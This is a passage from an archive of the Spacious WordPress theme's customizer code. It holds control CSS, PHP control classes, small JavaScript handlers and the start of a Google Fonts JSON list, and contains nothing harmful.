transparent; border-bottom-color: #ffffff; content: ""; pointer-events: none; position: absolute; right: 17px; top: -15px; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-field-settings-wrap { width: 100%; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-tabs, .customize-control-spacious-group .spacious-field-settings-modal .spacious-tab-content { position: relative; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; overflow: hidden; padding: 15px 15px 0 15px; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:before, .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:after { border-collapse: collapse; content: ""; display: table; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li { border: 1px solid rgba(0, 0, 0, 0.1); -webkit-box-flex: 1; -ms-flex: 1 1 auto; flex: 1 1 auto; margin: 0; padding: 0.5rem 0.5rem; text-align: center; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:not(:first-child) { border-left-width: 0; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:focus { outline-style: none; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active { background-color: #289dcc; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active a { color: #ffffff; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a { color: #555d66; text-decoration: none; } .customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a:focus { -webkit-box-shadow: none; box-shadow: none; } .customize-control-spacious-group .spacious-field-settings-modal .customize-control { -webkit-box-sizing: border-box; box-sizing: border-box; padding: 20px 15px 0 15px; } .customize-control-spacious-group .spacious-field-settings-modal .customize-control:last-child { margin-bottom: 15px; } /** * Heading control CSS. */ .customize-control-spacious-heading .spacious-heading-wrapper .customize-control-title { color: #444444; display: block; font-size: 14px; line-height: 1.2; margin: 0; } .customize-control-spacious-heading .spacious-heading-wrapper .customize-control-description { margin-top: 10px; padding: 0 12px; } .tool-tip { display: inline-block; position: relative; } .tool-tip:hover .tooltip-text { opacity: 1; visibility: visible; } #customize-theme-controls .customize-pane-child .accordion-section-content { padding: 10px; } .customize-control .customize-control-spacious-color { padding-bottom: 0; } li.customize-control.customize-control-spacious-hidden { padding: 0; } /** * Group control CSS. */ .customize-control-spacious-hidden.customize-control { margin-top: 0; } /** * Radio image control CSS. */ .customize-control-spacious-radio-image * { -webkit-box-sizing: border-box; box-sizing: border-box; } .customize-control-spacious-radio-image input { display: none; } .customize-control-spacious-radio-image input:checked + label img { background: #0073aa; } .customize-control-spacious-radio-image .image { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .customize-control-spacious-radio-image label { display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; margin-top: 10px; margin-bottom: 10px; position: relative; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; } .customize-control-spacious-radio-image label > img { background: #ebebeb; border: 2px solid #ebebeb; display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .customize-control-spacious-radio-image .image-col-1:after, .customize-control-spacious-radio-image .image-col-2:after, .customize-control-spacious-radio-image .image-col-3:after, .customize-control-spacious-radio-image .image-col-4:after { clear: both; content: ''; display: block; } .customize-control-spacious-radio-image .image-col-1 input:checked + label img, .customize-control-spacious-radio-image .image-col-2 input:checked + label img, .customize-control-spacious-radio-image .image-col-3 input:checked + label img, .customize-control-spacious-radio-image .image-col-4 input:checked + label img { border: none; -webkit-box-shadow: none; box-shadow: none; } .customize-control-spacious-radio-image .image-col-1 label { -ms-flex-preferred-size: 100%; flex-basis: 100%; -webkit-box-pack: start; -ms-flex-pack: start; justify-content: flex-start; } .customize-control-spacious-radio-image .image-col-1 label > img { border: none; padding: 15px 15px 0; width: 70%; } .customize-control-spacious-radio-image .image-col-2 label { -ms-flex-preferred-size: calc((100% / 2) - 12px); flex-basis: calc((100% / 2) - 12px); } .customize-control-spacious-radio-image .image-col-2 label:nth-of-type(odd) { margin-right: 10px; } .customize-control-spacious-radio-image .image-col-2 label:nth-of-type(even) { margin-left: 10px; } .customize-control-spacious-radio-image .image-col-2 label > img { border: none; padding: 12px 12px 0; width: 108px; } .customize-control-spacious-radio-image .image-col-3 label { -ms-flex-preferred-size: calc((100% / 3) - 8px); flex-basis: calc((100% / 3) - 8px); } .customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+1) { margin-right: 10px; } .customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+3) { margin-left: 10px; } .customize-control-spacious-radio-image .image-col-3 label > img { border: none; padding: 8px 8px 0; width: 75px; } .customize-control-spacious-radio-image .image-col-4 label { -ms-flex-preferred-size: 25%; flex-basis: 25%; padding: 6px 15px; border: 1px solid #EBEBEB; } .customize-control-spacious-radio-image .image-col-4 label:not(:nth-of-type(4n)) { border-right-width: 0; } .customize-control-spacious-radio-image .image-col-4 label > img { border: 0; } .customize-control-spacious-radio-image .image-col-4 input:checked + label { background: #0073aa; } .customize-control-spacious-radio-image label:hover .tooltip-text { opacity: 1; visibility: visible; } .customize-control-spacious-radio-image .tooltip-text { bottom: 105%; left: 50%; } /** * Slider control CSS. */ .customize-control-spacious-slider .slider-wrapper { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .customize-control-spacious-slider .slider-wrapper input[type=range] { -webkit-appearance: none; -moz-appearance: none; appearance: none; background: rgba(0, 0, 0, 0.1); cursor: pointer; -webkit-box-flex: 1; -ms-flex: 1; flex: 1; height: 5px; padding: 0; -webkit-transition: background 0.3s; transition: background 0.3s; } .customize-control-spacious-slider .slider-wrapper input[type=range]::-webkit-slider-thumb { -webkit-appearance: none; appearance: none; background: #289dcc; border-radius: 100%; height: 16px; width: 16px; } .customize-control-spacious-slider .slider-wrapper input[type=range]::-moz-range-thumb { background: #289dcc; border-radius: 100%; height: 16px; width: 16px; } .customize-control-spacious-slider .slider-wrapper input[type=range]::-ms-thumb { background: #289dcc; border-radius: 100%; height: 16px; width: 16px; } .customize-control-spacious-slider .slider-wrapper .spacious-range-value { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; padding: 0 0 0 5px; } .customize-control-spacious-slider .slider-wrapper .spacious-range-value input[type=number] { font-size: 12px; padding: 3px; width: 60px; } .customize-control-spacious-slider .slider-wrapper .spacious-range-value .spacious-range-unit { padding: 0 0 0 5px; } .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset { color: rgba(0, 0, 0, 0.3); cursor: pointer; -webkit-transition: color 0.3s ease-in; transition: color 0.3s ease-in; } .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset span { font-size: 14px; } .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:hover, .customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:focus { color: #289dcc; } .customize-control-spacious-slider .slider-wrapper.slider-description .spacious-slider-reset span { right: 20px; } /** * Sortable control CSS. */ .customize-control-spacious-sortable ul.ui-sortable { cursor: default; } .customize-control-spacious-sortable ul.ui-sortable .dashicons-visibility { cursor: pointer; } .customize-control-spacious-sortable ul.ui-sortable li { padding: 5px 10px; border: 1px solid #555555; background: #ffffff; cursor: move; } .customize-control-spacious-sortable ul.ui-sortable li .dashicons.dashicons-menu { float: right; } .customize-control-spacious-sortable ul.ui-sortable li .dashicons.visibility { margin-right: 10px; } .customize-control-spacious-sortable ul.ui-sortable li.invisible { color: #aaaaaa; border: 1px dashed #aaaaaa; } .customize-control-spacious-sortable ul.ui-sortable li.invisible .dashicons.visibility { color: #aaaaaa; } /** * Switch toggle control CSS. */ .customize-control-spacious-toggle { display: -webkit-box !important; display: -ms-flexbox !important; display: flex !important; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-toggle label { position: relative; display: inline-block; width: 30px; height: 16px; right: 0; top: 4px; } .customize-control-spacious-toggle label.toggle-description { right: 20px; } .customize-control-spacious-toggle label input { display: none; } .customize-control-spacious-toggle label input:checked + .switch:before { background: #ffffff; border-color: #ffffff; left: -6px; -webkit-transform: translateX(20px); transform: translateX(20px); } .customize-control-spacious-toggle label input:checked + .switch { background-color: #0073aa; border-color: #0073aa; } .customize-control-spacious-toggle label .switch { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background: #ffffff; border: 2px solid #444444; border-radius: 100px; -webkit-transition: all ease 0.3s; transition: all ease 0.3s; } .customize-control-spacious-toggle label .switch:before { position: absolute; content: ''; height: 6px; width: 6px; left: 3px; bottom: 1px; border: 2px solid #444444; background: #444444; border-radius: 100%; -webkit-transition: all ease 0.3s; transition: all ease 0.3s; } /** * Typography control CSS. */ .customize-control-spacious-typography .customize-control-content > div { margin-bottom: 15px; } .customize-control-spacious-typography .customize-control-content .font-size, .customize-control-spacious-typography .customize-control-content .line-height, .customize-control-spacious-typography .customize-control-content .letter-spacing { position: relative; } .customize-control-spacious-typography .customize-control-content .control-wrap { display: -webkit-box; display: -ms-flexbox; display: flex; } .customize-control-spacious-typography .customize-control-content .unit { background: #ebebeb; border-radius: 0 2px 2px 0; font-weight: 500; line-height: 34px; padding: 0 12px; text-transform: uppercase; } .customize-control-spacious-typography .customize-control-content .font-style, .customize-control-spacious-typography .customize-control-content .font-family, .customize-control-spacious-typography .customize-control-content .font-weight, .customize-control-spacious-typography .customize-control-content .text-transform { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-typography .customize-control-content .font-style .spacious-field-content, .customize-control-spacious-typography .customize-control-content .font-family .spacious-field-content, .customize-control-spacious-typography .customize-control-content .font-weight .spacious-field-content, .customize-control-spacious-typography .customize-control-content .text-transform .spacious-field-content { padding-top: 2px; width: 180px; } span.select2-container.select2-container--default.select2-container--open { z-index: 999999; } /** * Title control CSS. */ .customize-control-spacious-title { border-bottom: 1px solid #ebebeb; margin-top: 15px; } .customize-control-spacious-title:nth-child(2) { margin-top: 0; } .spacious-title-wrapper { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .spacious-title-wrapper .dashicons-editor-help { color: rgba(68, 68, 68, 0.5); margin-left: 5px; } .spacious-title-wrapper .dashicons-editor-help:hover { color: #444444; } .spacious-title-wrapper .guide-tutorial > span { border-right: 1px solid #eeeeee; padding: 0 5px 0 8px; } .spacious-title-wrapper .guide-tutorial > span:first-child, .spacious-title-wrapper .guide-tutorial > span:last-of-type { border-right: 0; padding-right: 0; } .spacious-title-wrapper .guide-tutorial > span a { font-weight: 500; text-decoration: none; } .spacious-title-wrapper label.customizer-text { -webkit-box-align: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -ms-flexbox; display: flex; } /** * Dimensions control CSS. */ .customize-control-spacious-dimensions { position: relative; } .customize-control-spacious-dimensions .wrapper { border: 1px solid rgba(0, 0, 0, 0.1); padding: 6px 8px; } .customize-control-spacious-dimensions .wrapper .control { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .customize-control-spacious-dimensions .wrapper .control .top, .customize-control-spacious-dimensions .wrapper .control .right, .customize-control-spacious-dimensions .wrapper .control .bottom, .customize-control-spacious-dimensions .wrapper .control .left { width: 23%; } .customize-control-spacious-dimensions .wrapper .control .top h5, .customize-control-spacious-dimensions .wrapper .control .right h5, .customize-control-spacious-dimensions .wrapper .control .bottom h5, .customize-control-spacious-dimensions .wrapper .control .left h5 { margin: 0; font-weight: normal; } p.upgrade-description { margin-top: 10px; font-style: italic; } core/custom-controls/hidden/class-spacious-hidden-control.php000066600000003421152367043330020465 0ustar00<?php /** * Extend WP_Customize_Control to include hidden control. * * Class Spacious_Hidden_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the hidden customize control. * * Class Spacious_Hidden_Control */ class Spacious_Hidden_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-hidden'; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <input type='hidden' class='hidden-field-{{ data.settings.default }}' data-name='{{ data.settings.default }}' value='{{ data.value }}' > <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/navigate/class-spacious-navigate-control.php000066600000003547152367043330021404 0ustar00<?php /** * Extend WP_Customize_Control to add the navigate control. * * Class Spacious_Navigate_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the navigate customize control. * * Class Spacious_Navigate_Control */ class Spacious_Navigate_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-navigate'; public $navigate_info = array(); /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['navigate_info'] = $this->navigate_info; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customize-control-content tg-navigate"> <?php echo sprintf( /* Translators: %1$s: Anchor tag open, %2$s: Customizer section name %3$s: Anchor tag close */ esc_html__( '%1$s Click here to edit %2$s features %3$s', 'spacious' ), '<a data-section="{{{ data.navigate_info.target_id }}}" href="#">', '{{{ data.navigate_info.target_label }}}', '</a>' ); ?> </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/navigate/navigate.js000066600000000724152367043330014616 0ustar00/** * Background image control JS to handle the navigate customize option. * * File `navigate.js`. * * @package Spacious */ ( function ( $ ) { $( window ).on( 'load', function () { $( '.tg-navigate a' ).on( 'click', function ( e ) { e.preventDefault(); var targetSection = $( this ).data( 'section' ); if ( targetSection ) { wp.customize.section( targetSection ).focus(); } } ); } ); } )( jQuery ); core/custom-controls/buttonset/buttonset.js000066600000000701152367043330015273 0ustar00/** * Radio buttonset control JS to handle the toggle of radio buttonsets. * * File `buttonset.js`. * * @package Spacious */ wp.customize.controlConstructor[ 'spacious-buttonset' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Change the value. this.container.on( 'click', 'input', function () { control.setting.set( jQuery( this ).val() ); } ); } } ); core/custom-controls/buttonset/class-spacious-buttonset-control.php000066600000005266152367043330022066 0ustar00<?php /** * Extend WP_Customize_Control to add the radio buttonset control. * * Class Spacious_Color_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the radio buttonset customize control. * * Class Spacious_Buttonset_Control */ class Spacious_Buttonset_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-buttonset'; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['choices'] = $this->choices; $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <div id="input_{{ data.id }}" class="buttonset"> <# for ( key in data.choices ) { #> <div class="buttonset-inner"> <input {{{ data.inputAttrs }}} class="input-buttonset" type="radio" value="{{ key }}" name="_customize-radio-{{ data.id }}" id="{{ data.id }}{{ key }}" {{{ data.link }}} <# if ( data.value === key ) { #> checked="checked"<# } #> > <label for="{{ data.id }}{{ key }}" class="spacious-buttonset"> {{{ data.choices[ key ] }}} </label> </div> <# } #> </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/heading/class-spacious-heading-control.php000066600000003322152367043330020775 0ustar00<?php /** * Extend WP_Customize_Control to add the heading control. * * Class Spacious_Heading_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the heading customize control. * * Class Spacious_Heading_Control */ class Spacious_Heading_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-heading'; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="spacious-heading-wrapper"> <label class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title wp-ui-text-highlight">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </label> </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/class-spacious-customize-base-additional-control.php000066600000004342152367043330023042 0ustar00<?php /** * Spacious customizer base additional control class for theme customize options. * * Class Spacious_Customize_Base_Additional_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class Spacious_Customize_Base_Additional_Control */ class Spacious_Customize_Base_Additional_Control extends WP_Customize_Control { /** * Enqueue control related scripts/styles. */ public function enqueue() { $suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min'; /** * Enqueue required Customize Controls CSS files. */ // SelectWoo CSS library file. wp_enqueue_style( 'selectWoo', $this->get_assets_url() . '/assets/css/selectWoo' . $suffix . '.css', array(), SPACIOUS_THEME_VERSION ); // Main CSS file. wp_enqueue_style( 'spacious-customize-controls', $this->get_assets_url() . '/assets/css/customize-controls' . $suffix . '.css', array( 'wp-color-picker' ), SPACIOUS_THEME_VERSION ); wp_style_add_data( 'spacious-customize-controls', 'rtl', 'replace' ); /** * Enqueue required Customize Controls JS files. */ // SelectWoo JS library file. wp_enqueue_script( 'selectWoo', $this->get_assets_url() . '/assets/js/selectWoo' . $suffix . '.js', array(), SPACIOUS_THEME_VERSION, true ); // WP Color Picker Alpha JS library file. wp_enqueue_script( 'wp-color-picker-alpha', $this->get_assets_url() . '/assets/js/wp-color-picker-alpha' . $suffix . '.js', array( 'wp-color-picker', ), SPACIOUS_THEME_VERSION, true ); // Main JS file. wp_enqueue_script( 'spacious-customize-controls', $this->get_assets_url() . '/assets/js/customize-controls' . $suffix . '.js', array( 'jquery', ), SPACIOUS_THEME_VERSION, true ); } public function get_assets_url() { // Get correct URL and path to wp-content. $content_url = untrailingslashit( dirname( dirname( get_stylesheet_directory_uri() ) ) ); $content_dir = wp_normalize_path( untrailingslashit( WP_CONTENT_DIR ) ); $url = str_replace( $content_dir, $content_url, wp_normalize_path( __DIR__ ) ); $url = set_url_scheme( $url ); return $url; } } core/custom-controls/typography/google-fonts.json000066600002412577152367043330016407 0ustar00{ "kind": "webfonts#webfontList", "items": [ { "kind": "webfonts#webfont", "family": "ABeeZee", "category": "sans-serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/abeezee/v13/esDR31xSG-6AGleN6tKukbcHCpE.ttf", "italic": "http://fonts.gstatic.com/s/abeezee/v13/esDT31xSG-6AGleN2tCklZUCGpG-GQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Abel", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/abel/v10/MwQ5bhbm2POE6VhLPJp6qGI.ttf" } }, { "kind": "webfonts#webfont", "family": "Abhaya Libre", "category": "serif", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "sinhala", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/abhayalibre/v5/e3tmeuGtX-Co5MNzeAOqinEge0PWovdU4w.ttf", "500": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEYj2ryqtxI6oYtBA.ttf", "600": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEYo23yqtxI6oYtBA.ttf", "700": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEYx2zyqtxI6oYtBA.ttf", "800": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEY22_yqtxI6oYtBA.ttf" } }, { "kind": "webfonts#webfont", "family": "Abril Fatface", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/abrilfatface/v11/zOL64pLDlL1D99S8g8PtiKchm-BsjOLhZBY.ttf" } }, { "kind": "webfonts#webfont", "family": "Aclonica", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aclonica/v10/K2FyfZJVlfNNSEBXGb7TCI6oBjLz.ttf" } }, { "kind": "webfonts#webfont", "family": "Acme", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/acme/v9/RrQfboBx-C5_bx3Lb23lzLk.ttf" } }, { "kind": "webfonts#webfont", "family": "Actor", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/actor/v9/wEOzEBbCkc5cO3ekXygtUMIO.ttf" } }, { "kind": "webfonts#webfont", "family": "Adamina", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/adamina/v13/j8_r6-DH1bjoc-dwu-reETl4Bno.ttf" } }, { "kind": "webfonts#webfont", "family": "Advent Pro", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700" ], "subsets": [ "greek", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/adventpro/v10/V8mCoQfxVT4Dvddr_yOwjVmtLZxcBtItFw.ttf", "200": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjfWMDbZyCts0DqQ.ttf", "300": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjZGPDbZyCts0DqQ.ttf", "regular": "http://fonts.gstatic.com/s/adventpro/v10/V8mAoQfxVT4Dvddr_yOwtT2nKb5ZFtI.ttf", "500": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjcmODbZyCts0DqQ.ttf", "600": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjeWJDbZyCts0DqQ.ttf", "700": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjYGIDbZyCts0DqQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Aguafina Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aguafinascript/v8/If2QXTv_ZzSxGIO30LemWEOmt1bHqs4pgicOrg.ttf" } }, { "kind": "webfonts#webfont", "family": "Akronim", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/akronim/v9/fdN-9sqWtWZZlHRp-gBxkFYN-a8.ttf" } }, { "kind": "webfonts#webfont", "family": "Aladin", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aladin/v8/ZgNSjPJFPrvJV5f16Sf4pGT2Ng.ttf" } }, { "kind": "webfonts#webfont", "family": "Alata", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/alata/v1/PbytFmztEwbIofe6xKcRQEOX.ttf" } }, { "kind": "webfonts#webfont", "family": "Alatsi", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/alatsi/v1/TK3iWkUJAxQ2nLNGHjUHte5fKg.ttf" } }, { "kind": "webfonts#webfont", "family": "Aldrich", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aldrich/v10/MCoTzAn-1s3IGyJMZaAS3pP5H_E.ttf" } }, { "kind": "webfonts#webfont", "family": "Alef", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "hebrew", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alef/v11/FeVfS0NQpLYgrjJbC5FxxbU.ttf", "700": "http://fonts.gstatic.com/s/alef/v11/FeVQS0NQpLYglo50L5la2bxii28.ttf" } }, { "kind": "webfonts#webfont", "family": "Alegreya", "category": "serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/alegreya/v13/4UaBrEBBsBhlBjvfkRLmzanB44N1.ttf", "italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaHrEBBsBhlBjvfkSLkx63j5pN1MwI.ttf", "500": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSoS5I3JyJ98KhtH.ttf", "500italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_1nKwpteLwtHJlc.ttf", "700": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSpa4o3JyJ98KhtH.ttf", "700italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_xHMwpteLwtHJlc.ttf", "800": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSpG4Y3JyJ98KhtH.ttf", "800italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_w3PwpteLwtHJlc.ttf", "900": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSpi4I3JyJ98KhtH.ttf", "900italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_ynOwpteLwtHJlc.ttf" } }, { "kind": "webfonts#webfont", "family": "Alegreya SC", "category": "serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/alegreyasc/v11/taiOGmRtCJ62-O0HhNEa-a6o05E5abe_.ttf", "italic": "http://fonts.gstatic.com/s/alegreyasc/v11/taiMGmRtCJ62-O0HhNEa-Z6q2ZUbbKe_DGs.ttf", "500": 